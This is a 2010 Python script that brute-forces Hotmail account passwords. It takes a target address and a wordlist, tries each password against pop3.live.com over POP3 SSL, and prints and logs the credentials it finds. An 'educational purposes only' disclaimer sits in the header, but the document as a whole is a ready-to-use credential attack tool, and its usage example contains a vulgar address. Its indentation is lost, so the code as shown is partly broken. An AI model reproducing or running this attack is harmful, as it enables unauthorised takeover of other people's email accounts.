Hotmail bruteforce script in Python - 2010

#!/usr/bin/python
# -*- coding: utf-8 -*-
# Hotmail brute forcer
# programmer : gunslinger_
# Inspired by mywisdom
# This program is only for educational purposes only.

import sys, poplib, time

__Author__ = "Gunslinger_"
__Version__  = "1.0"
__Date__   = "Mon, 22 Feb 2010 13:13:43 +0700 "
log = "hotmailbrute.log"
file = open(log, "a")
counter = 0
face = '''
 _           _                   _ _   _      __
| |__   ___ | |_ _ __ ___   __ _(_) | | |__  / _|
| '_ \ / _ \| __| '_ ` _ \ / _` | | | | '_ \| |_
| | | | (_) | |_| | | | | | (_| | | | | |_) |  _|
|_| |_|\___/ \__|_| |_| |_|\__,_|_|_| |_.__/|_|

 Hotmail brute forcer
 programmer   : %s
 version      : %s
 date release : %s
 ''' % (__Author__, __Version__, __Date__)

help = '''
Usage : ./hotmailbf.py -u [email] -w [wordlist]
Example : ./hotmailbf.py -u suckthedick@hotmail.com -w wordlist.txt
'''

for arg in sys.argv:
 if arg.lower() == '-u' or arg.lower() == '--user':
 email = sys.argv[int(sys.argv.index(arg))+1]
 elif arg.lower() == '-w' or arg.lower() == '--wordlist':
 wordlist = sys.argv[int(sys.argv[1:].index(arg))+2]
 elif arg.lower() == '-h' or arg.lower() == '--help':
 print face
 print help
 file.write(face)
 file.write(help)

#Change these if needed.
HOST = 'pop3.live.com'
PORT = 995

try:
 preventstrokes = open(wordlist, "r")
 words            = preventstrokes.readlines()
 count          = 0
 while count < len(words):
 words[count] = words[count].strip()
 count += 1
except(IOError):
 print "\n[-] Error: Check your wordlist path\n"
 file.write("\n[-] Error: Check your wordlist path\n")
 sys.exit(1)
def definer():
 print "-" * 60
 print "[+] Email         : %s" % email
 print "[+] Wordlist         : %s" % wordlist
 print "[+] Length wordlist     : %s " % len(words)
 print "[+] Time Starting     : %s" % time.strftime("%X")
 print "-" * 60
 file.write ("\n[+] Email : %s" % email)
 file.write ("\n[+] Wordlist : %s" % wordlist)
 file.write ("\n[+] length wordlist : %s " % len(words))
 file.write ("\n[+] Time Starting : %s" % time.strftime("%X"))

def main(password):
 global counter
 sys.stdout.write ("[-] Trying : %s \n" % (password))
 sys.stdout.flush()
 file.write("[-] Trying : %s \n" % (str(password)))
 try:
 pop = poplib.POP3_SSL(HOST, PORT)
 pop.user(email)
 pop.pass_(password)
 pop.quit()
 print "[+] W00t w00t !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Valid!" % (email, password)
 file.write("[+] W00t w00t !!!\n[+] Username : [%s]\n[+] Password : [%s]\n[+] Status : Valid!" % (email, password))
 sys.exit(1)
 except Exception, e:
 pass
 except KeyboardInterrupt:
 print "\n[-] Aborting...\n"
 file.write("\n[-] Aborting...\n")
 sys.exit(1)
 counter+=1
 if counter == len(words)/5:
 print "[+] Hotmailbruteforcer 20% way done..."
 print "[+] Please be patient..."
 file.write("[+] hotmailbruteforcer on 1/4 way done...\n")
 file.write("[+] Please be patient...\n")
 elif counter == len(words)/4:
 print "[+] Hotmailbruteforcer 25% way done..."
 print "[+] Please be patient..."
 file.write("[+] hotmailbruteforcer on 1/4 way done...\n")
 file.write("[+] Please be patient...\n")
 elif counter == len(words)/2:
 print "[+] Hotmailbruteforcer on 50% done..."
 print "[+] Please be patient..."
 file.write("[+] hotmailbruteforcer on halfway done...\n")
 file.write("[+] Please be patient...\n")
 elif counter == len(words):
 print "[+] Hotmailbruteforcer done...\n"
 file.write("[+] Hotmailbruteforcer done...!\n")

if __name__ == '__main__':
 print face
 file.write(face)
 definer()
 for password in words:
 main(password.replace("\n",""))
 main(password)